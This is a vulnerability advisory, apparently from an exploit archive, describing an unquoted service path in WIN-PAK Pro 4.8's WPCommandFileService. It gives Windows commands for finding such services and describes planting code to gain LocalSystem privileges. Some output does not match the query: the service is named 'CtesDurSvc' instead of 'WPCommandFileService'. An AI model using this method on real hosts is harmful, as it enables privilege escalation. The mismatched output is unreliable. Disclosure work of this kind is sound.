Winpakpro 4.8 wpcommandfileservice unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-03-22 | Type : local | Platform : windows
This exploit / vulnerability Winpakpro 4.8 wpcommandfileservice unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Winpakpro 4.8 - 'WPCommandFileService' Unquoted Service Path
# Discovery by: Alan Mondragon
# Discovery Date: 2021-03-16
# Vendor Homepage: https://www.security.honeywell.com/product-repository/winpak
# Software Links : https://www.security.honeywell.com/product-repository/winpak
# WinPackPro
# Tested Version: 4.8
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro 64 bits

# Step to discover Unquoted Service Path:

C:\WINDOWS\system32>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

WIN-PAK WPCommandFileService WPCommandFileService C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe Auto

C:\Users\jorge.irigoyen>sc qc "WPCommandFileService"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: CtesDurSvc
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START <DELAYED>
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : WIN-PAK Command File Service
DEPENDENCIAS : WPDatabaseService
NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.